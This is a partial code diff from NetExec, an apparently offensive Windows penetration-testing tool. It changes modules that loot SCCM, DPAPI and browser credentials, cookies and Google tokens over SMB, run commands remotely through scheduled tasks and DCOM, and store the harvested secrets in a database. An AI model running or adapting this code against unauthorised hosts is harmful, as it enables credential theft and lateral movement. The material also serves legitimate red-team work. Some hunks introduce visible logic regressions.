139: {"bindstr": r"ncacn_np:{}[\pipe\lsarpc]", "set_host": True},
445: {"bindstr": r"ncacn_np:{}[\pipe\lsarpc]", "set_host": True},
}
try:
full_hostname = self.host if not self.kerberos else self.hostname + "." + self.domain
string_binding = KNOWN_PROTOCOLS[self.port]["bindstr"]
logging.debug(f"StringBinding {string_binding}")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.host)
rpc_transport.set_dport(self.port)
if KNOWN_PROTOCOLS[self.port]["set_host"]:
rpc_transport.setRemoteHost(full_hostname)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
@@ -1432,21 +1246,19 @@ class smb(connection):
dce.disconnect()
return entries
def put_file_single(self, src, dst):
self.logger.display(f"Copying {src} to {dst}")
with open(src, "rb") as file:
def put_file(self):
self.logger.display(f"Copying {self.args.put_file[0]} to {self.args.put_file[1]}")
with open(self.args.put_file[0], "rb") as file:
try:
self.conn.putFile(self.args.share, dst, file.read)
self.logger.success(f"Created file {src} on \\\\{self.args.share}\\{dst}")
self.conn.putFile(self.args.share, self.args.put_file[1], file.read)
self.logger.success(f"Created file {self.args.put_file[0]} on \\\\{self.args.share}\\{self.args.put_file[1]}")
except Exception as e:
self.logger.fail(f"Error writing file to share {self.args.share}: {e}")
def put_file(self):
for src, dest in self.args.put_file:
self.put_file_single(src, dest)
def get_file_single(self, remote_path, download_path):
def get_file(self):
share_name = self.args.share
remote_path = self.args.get_file[0]
download_path = self.args.get_file[1]
self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
if self.args.append_host:
download_path = f"{self.hostname}-{remote_path}"
@@ -1459,10 +1271,6 @@ class smb(connection):
if os.path.getsize(download_path) == 0:
os.remove(download_path)
def get_file(self):
for src, dest in self.args.get_file:
self.get_file_single(src, dest)
def enable_remoteops(self):
try:
self.remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost)
@@ -1517,67 +1325,10 @@ class smb(connection):
except Exception as e:
self.logger.exception(str(e))
@requires_admin
def sccm(self):
masterkeys = []
if self.args.mkfile is not None:
try:
masterkeys += parse_masterkey_file(self.args.mkfile)
except Exception as e:
self.logger.fail(str(e))
target = Target.create(
domain=self.domain,
username=self.username,
password=self.password,
target=self.hostname + "." + self.domain if self.kerberos else self.host,
lmhash=self.lmhash,
nthash=self.nthash,
do_kerberos=self.kerberos,
aesKey=self.aesKey,
no_pass=True,
use_kcache=self.use_kcache,
)
try:
conn = DPLootSMBConnection(target)
conn.smb_session = self.conn
except Exception as e:
self.logger.debug(f"Could not upgrade connection: {e}")
return
try:
self.logger.display("Collecting Machine masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=target,
conn=conn,
dpapiSystem={},
)
masterkeys += masterkeys_triage.triage_system_masterkeys()
except Exception as e:
self.logger.debug(f"Could not get masterkeys: {e}")
if len(masterkeys) == 0:
self.logger.fail("No masterkeys looted")
return
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}")
try:
# Collect Chrome Based Browser stored secrets
sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, use_wmi=self.args.sccm == "wmi")
sccmcreds, sccmtasks, sccmcollections = sccm_triage.triage_sccm()
for sccmcred in sccmcreds:
self.logger.highlight(f"[NAA Account] {sccmcred.username.decode('latin-1')}:{sccmcred.password.decode('latin-1')}")
for sccmtask in sccmtasks:
self.logger.highlight(f"[Task sequences secret] {sccmtask.secret.decode('latin-1')}")
for sccmcollection in sccmcollections:
self.logger.highlight(f"[Collection Variable] {sccmcollection.variable.decode('latin-1')}:{sccmcollection.value.decode('latin-1')}")
except Exception as e:
self.logger.debug(f"Error while looting sccm: {e}")
@requires_admin
def dpapi(self):
dump_system = "nosystem" not in self.args.dpapi
logging.getLogger("dploot").disabled = True
if self.args.pvk is not None:
try:
@@ -1668,7 +1419,6 @@ class smb(connection):
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem={},
)
self.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
masterkeys += masterkeys_triage.triage_masterkeys()
@@ -1728,33 +1478,22 @@ class smb(connection):
except Exception as e:
self.logger.debug(f"Error while looting browsers: {e}")
for credential in browser_credentials:
if isinstance(credential, LoginData):
cred_url = credential.url + " -" if credential.url != "" else "-"
self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] {cred_url} {credential.username}:{credential.password}")
self.db.add_dpapi_secrets(
target.address,
credential.browser.upper(),
credential.winuser,
credential.username,
credential.password,
credential.url,
)
elif isinstance(credential, GoogleRefreshToken):
self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] Google Refresh Token: {credential.service}:{credential.token}")
self.db.add_dpapi_secrets(
target.address,
credential.browser.upper(),
credential.winuser,
credential.service,
credential.token,
"Google Refresh Token",
)
cred_url = credential.url + " -" if credential.url != "" else "-"
self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] {cred_url} {credential.username}:{credential.password}")
self.db.add_dpapi_secrets(
target.address,
credential.browser.upper(),
credential.winuser,
credential.username,
credential.password,
credential.url,
)
if dump_cookies and cookies:
self.logger.display("Start Dumping Cookies")
for cookie in cookies:
if cookie.cookie_value != "":
self.logger.highlight(f"[{cookie.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}")
self.logger.highlight(f"[{credential.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}")
self.logger.display("End Dumping Cookies")
elif dump_cookies:
self.logger.fail("No cookies found")
@@ -1798,7 +1537,7 @@ class smb(connection):
credential.url,
)
if not (credentials or system_credentials or browser_credentials or cookies or vaults or firefox_credentials):
if not (credentials and system_credentials and browser_credentials and cookies and vaults and firefox_credentials):
self.logger.fail("No secrets found")
@requires_admin
@@ -1935,6 +1674,3 @@ class smb(connection):
except Exception as e:
self.logger.debug(f"Error calling remote_ops.finish(): {e}")
NTDS.finish()
def mark_guest(self):
return highlight(f"{highlight('(Guest)')}" if self.is_guest else "")
+7 -22
View File
@@ -7,7 +7,7 @@ from time import sleep
class TSCH_EXEC:
def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
self.__target = target
self.__username = username
self.__password = password
@@ -19,7 +19,6 @@ class TSCH_EXEC:
self.__retOutput = False
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__remoteHost = remoteHost
self.__kdcHost = kdcHost
self.__tries = tries
self.__output_filename = None
@@ -38,7 +37,6 @@ class TSCH_EXEC:
stringbinding = r"ncacn_np:%s[\pipe\atsvc]" % self.__target
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
self.__rpctransport.setRemoteHost(self.__remoteHost)
if hasattr(self.__rpctransport, "set_credentials"):
# This method exists only for selected protocol sequences.
@@ -133,7 +131,7 @@ class TSCH_EXEC:
xml = self.gen_xml(command, fileless)
self.logger.debug(f"Task XML: {xml}")
self.logger.info(f"Task XML: {xml}")
taskCreated = False
self.logger.info(f"Creating task \\{tmpName}")
try:
@@ -181,35 +179,22 @@ class TSCH_EXEC:
else:
":".join(map(str, self.__rpctransport.get_socket().getpeername()))
smbConnection = self.__rpctransport.get_smb_connection()
tries = 0
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
sleep(0.4)
tries = 1
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
smbConnection.getFile(self.__share, self.__output_filename, self.output_callback)
break
except Exception as e:
if tries > self.__tries:
if tries >= self.__tries:
self.logger.fail("ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
break
if "STATUS_BAD_NETWORK_NAME" in str(e):
if str(e).find("STATUS_BAD_NETWORK_NAME") > 0:
self.logger.fail(f"ATEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
self.logger.fail("Command did not run because a virus was detected")
break
# When executing powershell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output_filename} is still in use with {self.__tries - tries} left, retrying...")
if str(e).find("SHARING") > 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
sleep(3)
tries += 1
sleep(1)
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output_filename} not found with {self.__tries - tries} left, deducting 10 tries and retrying...")
tries += 10
sleep(1)
else:
self.logger.debug(str(e))
+86 -66
View File
@@ -1,25 +1,27 @@
import base64
import sys
import warnings
from datetime import datetime
from typing import Optional
from pathlib import Path
from sqlalchemy import func, Table, select, delete
from sqlalchemy import MetaData, func, Table, select, delete
from sqlalchemy.dialects.sqlite import Insert # used for upsert
from sqlalchemy.exc import (
# IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
from sqlalchemy.exc import SAWarning
from sqlalchemy.orm import sessionmaker, scoped_session
from nxc.database import BaseDB
from nxc.logger import nxc_logger
import sys
from typing import Optional
# if there is an issue with SQLAlchemy and a connection cannot be cleaned up properly it spews out annoying warnings
warnings.filterwarnings("ignore", category=SAWarning)
class database(BaseDB):
class database:
def __init__(self, db_engine):
self.HostsTable = None
self.UsersTable = None
@@ -33,7 +35,16 @@ class database(BaseDB):
self.DpapiBackupkey = None
self.DpapiSecrets = None
super().__init__(db_engine)
self.db_engine = db_engine
self.db_path = self.db_engine.url.database
self.protocol = Path(self.db_path).stem.upper()
self.metadata = MetaData()
self.reflect_tables()
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
Session = scoped_session(session_factory)
# this is still named "conn" when it is the session object; TODO: rename
self.conn = Session()
@staticmethod
def db_schema(db_conn):
@@ -188,6 +199,19 @@ class database(BaseDB):
)
sys.exit()
def shutdown_db(self):
try:
self.conn.close()
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except Exception as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
for table in self.metadata.sorted_tables:
self.conn.execute(table.delete())
# pull/545
def add_host(
self,
@@ -207,7 +231,7 @@ class database(BaseDB):
updated_ids = []
q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip)
results = self.db_execute(q).all()
results = self.conn.execute(q).all()
# create new host
if not results:
@@ -260,7 +284,7 @@ class database(BaseDB):
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns)
self.db_execute(q, hosts) # .scalar()
self.conn.execute(q, hosts) # .scalar()
# we only return updated IDs for now - when RETURNING clause is allowed we can return inserted
if updated_ids:
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
@@ -280,7 +304,7 @@ class database(BaseDB):
func.lower(self.UsersTable.c.username) == func.lower(username),
func.lower(self.UsersTable.c.credtype) == func.lower(credtype),
)
results = self.db_execute(q).all()
results = self.conn.execute(q).all()
# add new credential
if not results:
@@ -322,12 +346,12 @@ class database(BaseDB):
q_users = q_users.on_conflict_do_update(index_elements=self.UsersTable.primary_key, set_=update_columns_users)
nxc_logger.debug(f"Adding credentials: {credentials}")
self.db_execute(q_users, credentials) # .scalar()
self.conn.execute(q_users, credentials) # .scalar()
if groups:
q_groups = Insert(self.GroupRelationsTable)
self.db_execute(q_groups, groups)
self.conn.execute(q_groups, groups)
def remove_credentials(self, creds_id):
"""Removes a credential ID from the database"""
@@ -335,18 +359,14 @@ class database(BaseDB):
for cred_id in creds_id:
q = delete(self.UsersTable).filter(self.UsersTable.c.id == cred_id)
del_hosts.append(q)
self.db_execute(q)
self.conn.execute(q)
def add_admin_user(self, credtype, domain, username, password, host, user_id=None):
add_links = []
creds_q = select(self.UsersTable)
creds_q = creds_q.filter(self.UsersTable.c.id == user_id) if user_id else creds_q.filter(
func.lower(self.UsersTable.c.credtype) == func.lower(credtype),
func.lower(self.UsersTable.c.domain) == func.lower(domain),
func.lower(self.UsersTable.c.username) == func.lower(username),
self.UsersTable.c.password == password)
users = self.db_execute(creds_q)
creds_q = creds_q.filter(self.UsersTable.c.id == user_id) if user_id else creds_q.filter(func.lower(self.UsersTable.c.credtype) == func.lower(credtype), func.lower(self.UsersTable.c.domain) == func.lower(domain), func.lower(self.UsersTable.c.username) == func.lower(username), self.UsersTable.c.password == password)
users = self.conn.execute(creds_q)
hosts = self.get_hosts(host)
if users and hosts:
@@ -358,7 +378,7 @@ class database(BaseDB):
self.AdminRelationsTable.c.userid == user_id,
self.AdminRelationsTable.c.hostid == host_id,
)
links = self.db_execute(admin_relations_select).all()
links = self.conn.execute(admin_relations_select).all()
if not links:
add_links.append(link)
@@ -366,7 +386,7 @@ class database(BaseDB):
admin_relations_insert = Insert(self.AdminRelationsTable)
if add_links:
self.db_execute(admin_relations_insert, add_links)
self.conn.execute(admin_relations_insert, add_links)
def get_admin_relations(self, user_id=None, host_id=None):
if user_id:
@@ -376,7 +396,7 @@ class database(BaseDB):
else:
q = select(self.AdminRelationsTable)
return self.db_execute(q).all()
return self.conn.execute(q).all()
def remove_admin_relation(self, user_ids=None, host_ids=None):
q = delete(self.AdminRelationsTable)
@@ -386,7 +406,7 @@ class database(BaseDB):
elif host_ids:
for host_id in host_ids:
q = q.filter(self.AdminRelationsTable.c.hostid == host_id)
self.db_execute(q)
self.conn.execute(q)
def is_credential_valid(self, credential_id):
"""Check if this credential ID is valid."""
@@ -394,7 +414,7 @@ class database(BaseDB):
self.UsersTable.c.id == credential_id,
self.UsersTable.c.password is not None,
)
results = self.db_execute(q).all()
results = self.conn.execute(q).all()
return len(results) > 0
def get_credentials(self, filter_term=None, cred_type=None):
@@ -412,7 +432,7 @@ class database(BaseDB):
else:
q = select(self.UsersTable)
return self.db_execute(q).all()
return self.conn.execute(q).all()
def get_credential(self, cred_type, domain, username, password):
q = select(self.UsersTable).filter(
@@ -421,22 +441,22 @@ class database(BaseDB):
self.UsersTable.c.password == password,
self.UsersTable.c.credtype == cred_type,
)
results = self.db_execute(q).first()
results = self.conn.execute(q).first()
return results.id
def is_credential_local(self, credential_id):
q = select(self.UsersTable.c.domain).filter(self.UsersTable.c.id == credential_id)
user_domain = self.db_execute(q).all()
user_domain = self.conn.execute(q).all()
if user_domain:
q = select(self.HostsTable).filter(func.lower(self.HostsTable.c.id) == func.lower(user_domain))
results = self.db_execute(q).all()
results = self.conn.execute(q).all()
return len(results) > 0
def is_host_valid(self, host_id):
"""Check if this host ID is valid."""
q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id)
results = self.db_execute(q).all()
results = self.conn.execute(q).all()
return len(results) > 0
def get_hosts(self, filter_term=None, domain=None):
@@ -446,7 +466,7 @@ class database(BaseDB):
# if we're returning a single host by ID
if self.is_host_valid(filter_term):
q = q.filter(self.HostsTable.c.id == filter_term)
results = self.db_execute(q).first()
results = self.conn.execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
# if we're filtering by domain controllers
@@ -471,14 +491,14 @@ class database(BaseDB):
elif filter_term and filter_term != "":
like_term = func.lower(f"%{filter_term}%")
q = q.filter(self.HostsTable.c.ip.like(like_term) | func.lower(self.HostsTable.c.hostname).like(like_term))
results = self.db_execute(q).all()
results = self.conn.execute(q).all()
nxc_logger.debug(f"smb hosts() - results: {results}")
return results
def is_group_valid(self, group_id):
"""Check if this group ID is valid."""
q = select(self.GroupsTable).filter(self.GroupsTable.c.id == group_id)
results = self.db_execute(q).first()
results = self.conn.execute(q).first()
valid = bool(results)
nxc_logger.debug(f"is_group_valid(groupID={group_id}) => {valid}")
@@ -510,7 +530,7 @@ class database(BaseDB):
# insert the group and get the returned id right away, this can be refactored when we can use RETURNING
q = Insert(self.GroupsTable)
self.db_execute(q, groups)
self.conn.execute(q, groups)
new_group_data = self.get_groups(group_name=group_data["name"], group_domain=group_data["domain"])
returned_id = [new_group_data[0].id]
nxc_logger.debug(f"Inserted group with ID: {returned_id[0]}")
@@ -541,7 +561,7 @@ class database(BaseDB):
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
q = q.on_conflict_do_update(index_elements=self.GroupsTable.primary_key, set_=update_columns)
self.db_execute(q, groups)
self.conn.execute(q, groups)
# TODO: always return a list and fix code references to not expect a single integer
#
if updated_ids:
@@ -552,7 +572,7 @@ class database(BaseDB):
"""Return groups from the database"""
if filter_term and self.is_group_valid(filter_term):
q = select(self.GroupsTable).filter(self.GroupsTable.c.id == filter_term)
results = self.db_execute(q).first()
results = self.conn.execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
elif group_name and group_domain:
@@ -566,7 +586,7 @@ class database(BaseDB):
else:
q = select(self.GroupsTable).filter()
results = self.db_execute(q).all()
results = self.conn.execute(q).all()
nxc_logger.debug(f"get_groups(filter_term={filter_term}, groupName={group_name}, groupDomain={group_domain}) => {results}")
return results
@@ -582,7 +602,7 @@ class database(BaseDB):
elif group_id:
q = select(self.GroupRelationsTable).filter(self.GroupRelationsTable.c.groupid == group_id)
return self.db_execute(q).all()
return self.conn.execute(q).all()
def remove_group_relations(self, user_id=None, group_id=None):
q = delete(self.GroupRelationsTable)
@@ -590,12 +610,12 @@ class database(BaseDB):
q = q.filter(self.GroupRelationsTable.c.userid == user_id)
elif group_id:
q = q.filter(self.GroupRelationsTable.c.groupid == group_id)
self.db_execute(q)
self.conn.execute(q)
def is_user_valid(self, user_id):
"""Check if this User ID is valid."""
q = select(self.UsersTable).filter(self.UsersTable.c.id == user_id)
results = self.db_execute(q).all()
results = self.conn.execute(q).all()
return len(results) > 0
def get_users(self, filter_term=None):
@@ -607,14 +627,14 @@ class database(BaseDB):
elif filter_term and filter_term != "":
like_term = func.lower(f"%{filter_term}%")
q = q.filter(func.lower(self.UsersTable.c.username).like(like_term))
return self.db_execute(q).all()
return self.conn.execute(q).all()
def get_user(self, domain, username):
q = select(self.UsersTable).filter(
func.lower(self.UsersTable.c.domain) == func.lower(domain),
func.lower(self.UsersTable.c.username) == func.lower(username),
)
return self.db_execute(q).all()
return self.conn.execute(q).all()
def get_domain_controllers(self, domain=None):
return self.get_hosts(filter_term="dc", domain=domain)
@@ -622,7 +642,7 @@ class database(BaseDB):
def is_share_valid(self, share_id):
"""Check if this share ID is valid."""
q = select(self.SharesTable).filter(self.SharesTable.c.id == share_id)
results = self.db_execute(q).all()
results = self.conn.execute(q).all()
nxc_logger.debug(f"is_share_valid(shareID={share_id}) => {len(results) > 0}")
return len(results) > 0
@@ -636,7 +656,7 @@ class database(BaseDB):
"read": read,
"write": write,
}
self.db_execute(
self.conn.execute(
Insert(self.SharesTable).on_conflict_do_nothing(), # .returning(self.SharesTable.c.id),
share_data,
) # .scalar_one()
@@ -649,7 +669,7 @@ class database(BaseDB):
q = select(self.SharesTable).filter(self.SharesTable.c.name.like(like_term))
else:
q = select(self.SharesTable)
return self.db_execute(q).all()
return self.conn.execute(q).all()
def get_shares_by_access(self, permissions, share_id=None):
permissions = permissions.lower()
@@ -660,17 +680,17 @@ class database(BaseDB):
q = q.filter(self.SharesTable.c.read == 1)
if "w" in permissions:
q = q.filter(self.SharesTable.c.write == 1)
return self.db_execute(q).all()
return self.conn.execute(q).all()
def get_users_with_share_access(self, host_id, share_name, permissions):
permissions = permissions.lower()
q = select(self.SharesTable.c.userid).filter(self.SharesTable.c.name == share_name,
self.SharesTable.c.hostid == host_id)
q = select(self.SharesTable.c.userid).filter(self.SharesTable.c.name == share_name, self.SharesTable.c.hostid == host_id)
if "r" in permissions:
q = q.filter(self.SharesTable.c.read == 1)
if "w" in permissions:
q = q.filter(self.SharesTable.c.write == 1)
return self.db_execute(q).all()
return self.conn.execute(q).all()
def add_domain_backupkey(self, domain: str, pvk: bytes):
"""
@@ -679,7 +699,7 @@ class database(BaseDB):
:pvk is the domain backupkey
"""
q = select(self.DpapiBackupkey).filter(func.lower(self.DpapiBackupkey.c.domain) == func.lower(domain))
results = self.db_execute(q).all()
results = self.conn.execute(q).all()
if not len(results):
pvk_encoded = base64.b64encode(pvk)
@@ -688,7 +708,7 @@ class database(BaseDB):
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.DpapiBackupkey) # .returning(self.DpapiBackupkey.c.id)
self.db_execute(q, [backup_key]) # .scalar()
self.conn.execute(q, [backup_key]) # .scalar()
nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})")
except Exception as e:
nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}")
@@ -701,7 +721,7 @@ class database(BaseDB):
q = select(self.DpapiBackupkey)
if domain is not None:
q = q.filter(func.lower(self.DpapiBackupkey.c.domain) == func.lower(domain))
results = self.db_execute(q).all()
results = self.conn.execute(q).all()
nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}")
@@ -715,7 +735,7 @@ class database(BaseDB):
:dpapi_secret_id is a primary id
"""
q = select(self.DpapiSecrets).filter(func.lower(self.DpapiSecrets.c.id) == dpapi_secret_id)
results = self.db_execute(q).first()
results = self.conn.execute(q).first()
valid = results is not None
nxc_logger.debug(f"is_dpapi_secret_valid(groupID={dpapi_secret_id}) => {valid}")
return valid
@@ -740,10 +760,10 @@ class database(BaseDB):
}
q = Insert(self.DpapiSecrets).on_conflict_do_nothing() # .returning(self.DpapiSecrets.c.id)
self.db_execute(q, [secret]) # .scalar()
self.conn.execute(q, [secret]) # .scalar()
nxc_logger.debug(
f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})")
nxc_logger.debug(f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})")
def get_dpapi_secrets(
self,
@@ -759,12 +779,12 @@ class database(BaseDB):
if self.is_dpapi_secret_valid(filter_term):
q = q.filter(self.DpapiSecrets.c.id == filter_term)
results = self.db_execute(q).first()
results = self.conn.execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
elif host:
q = q.filter(self.DpapiSecrets.c.host == host)
results = self.db_execute(q).first()
results = self.conn.execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
elif dpapi_type:
@@ -777,7 +797,7 @@ class database(BaseDB):
q = q.filter(func.lower(self.DpapiSecrets.c.windows_user).like(like_term))
elif url:
q = q.filter(func.lower(self.DpapiSecrets.c.url) == func.lower(url))
results = self.db_execute(q).all()
results = self.conn.execute(q).all()
nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}")
return results
@@ -787,7 +807,7 @@ class database(BaseDB):
self.LoggedinRelationsTable.c.userid == user_id,
self.LoggedinRelationsTable.c.hostid == host_id,
)
results = self.db_execute(relation_query).all()
results = self.conn.execute(relation_query).all()
# only add one if one doesn't already exist
if not results:
@@ -797,7 +817,7 @@ class database(BaseDB):
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id)
self.db_execute(q, [relation]) # .scalar()
self.conn.execute(q, [relation]) # .scalar()
inserted_id_results = self.get_loggedin_relations(user_id, host_id)
nxc_logger.debug(f"Checking if relation was added: {inserted_id_results}")
return inserted_id_results[0].id
@@ -810,7 +830,7 @@ class database(BaseDB):
q = q.filter(self.LoggedinRelationsTable.c.userid == user_id)
if host_id:
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
return self.db_execute(q).all()
return self.conn.execute(q).all()
def remove_loggedin_relations(self, user_id=None, host_id=None):
q = delete(self.LoggedinRelationsTable)
@@ -818,15 +838,15 @@ class database(BaseDB):
q = q.filter(self.LoggedinRelationsTable.c.userid == user_id)
elif host_id:
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
self.db_execute(q)
self.conn.execute(q)
def get_checks(self):
q = select(self.ConfChecksTable)
return self.db_execute(q).all()
return self.conn.execute(q).all()
def get_check_results(self):
q = select(self.ConfChecksResultsTable)
return self.db_execute(q).all()
return self.conn.execute(q).all()
def insert_data(self, table, select_results=None, **new_row):
"""
@@ -858,14 +878,14 @@ class database(BaseDB):
q = Insert(table) # .returning(table.c.id)
update_column = {col.name: col for col in q.excluded if col.name not in "id"}
q = q.on_conflict_do_update(index_elements=table.primary_key, set_=update_column)
self.db_execute(q, results) # .scalar()
self.conn.execute(q, results) # .scalar()
# we only return updated IDs for now - when RETURNING clause is allowed we can return inserted
return updated_ids
def add_check(self, name, description):
"""Check if this check item has already been added to the database, if not, add it in."""
q = select(self.ConfChecksTable).filter(self.ConfChecksTable.c.name == name)
select_results = self.db_execute(q).all()
select_results = self.conn.execute(q).all()
context = locals()
new_row = {column: context[column] for column in ("name", "description")}
updated_ids = self.insert_data(self.ConfChecksTable, select_results, **new_row)
@@ -877,7 +897,7 @@ class database(BaseDB):
def add_check_result(self, host_id, check_id, secure, reasons):
"""Check if this check result has already been added to the database, if not, add it in."""
q = select(self.ConfChecksResultsTable).filter(self.ConfChecksResultsTable.c.host_id == host_id, self.ConfChecksResultsTable.c.check_id == check_id)
select_results = self.db_execute(q).all()
select_results = self.conn.execute(q).all()
context = locals()
new_row = {column: context[column] for column in ("host_id", "check_id", "secure", "reasons")}
updated_ids = self.insert_data(self.ConfChecksResultsTable, select_results, **new_row)
+1 -1
View File
@@ -88,7 +88,7 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash
client_name = Principal(impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
s4u_byte_array = struct.pack("<I", constants.PrincipalNameType.NT_PRINCIPAL.value)
s4u_byte_array += impersonate.encode() + b(domain) + b"Kerberos"
s4u_byte_array += b(impersonate) + b(domain) + b"Kerberos"
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
# with the following three parameters: the session key of the TGT of
+19 -37
View File
@@ -58,28 +58,26 @@ from impacket.dcerpc.v5.dtypes import NULL
class MMCEXEC:
def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, remoteHost=None, hashes=None, share=None, logger=None, timeout=None, tries=None):
self.__target = target
def __init__(self, host, share_name, username, password, domain, smbconnection, share, hashes=None, logger=None, tries=None, timeout=None):
self.__host = host
self.__username = username
self.__password = password
self.__smbconnection = smbconnection
self.__domain = domain
self.__lmhash = ""
self.__nthash = ""
self.__share = share
self.__timeout = timeout
self.__smbconnection = smbconnection
self.__share_name = share_name
self.__output = None
self.__outputBuffer = b""
self.__share_name = share_name
self.__shell = "c:\\windows\\system32\\cmd.exe"
self.__pwd = "C:\\"
self.__aesKey = aesKey
self.__kdcHost = kdcHost
self.__remoteHost = remoteHost
self.__doKerberos = doKerberos
self.__quit = None
self.__executeShellCommand = None
self.__retOutput = True
self.__stringBinding = ""
self.__share = share
self.__dcom = None
self.__tries = tries
self.__timeout = timeout
self.logger = logger
if hashes is not None:
@@ -89,25 +87,21 @@ class MMCEXEC:
self.__nthash = hashes
self.__dcom = DCOMConnection(
self.__target,
self.__host,
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
None,
oxidResolver=True,
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost,
remoteHost=self.__remoteHost,
)
try:
iInterface = self.__dcom.CoCreateInstanceEx(string_to_bin("49B2791A-B1AE-4C90-9B8E-E860BA07F889"), IID_IDispatch)
except Exception as e:
self.logger.info(f"Got Exception while connecting with DCOM: {e}")
except Exception:
# Make it force break function
self.__dcom.disconnect()
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__timeout)
if not flag or not self.__stringBinding:
error_msg = f'MMCEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
@@ -248,35 +242,23 @@ class MMCEXEC:
if self.__retOutput is False:
self.__outputBuffer = ""
return
tries = 0
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
sleep(0.4)
tries = 1
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
break
except Exception as e:
if tries > self.__tries:
if tries >= self.__tries:
self.logger.fail("MMCEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
break
if "STATUS_BAD_NETWORK_NAME" in str(e):
if str(e).find("STATUS_BAD_NETWORK_NAME") > 0:
self.logger.fail(f"MMCEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
break
elif "STATUS_VIRUS_INFECTED" in str(e):
self.logger.fail("Command did not run because a virus was detected")
break
# When executing powershell and the command is still running, we get a sharing violation
# We can use that information to wait longer than if the file is not found (probably av or something)
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} left, retrying...")
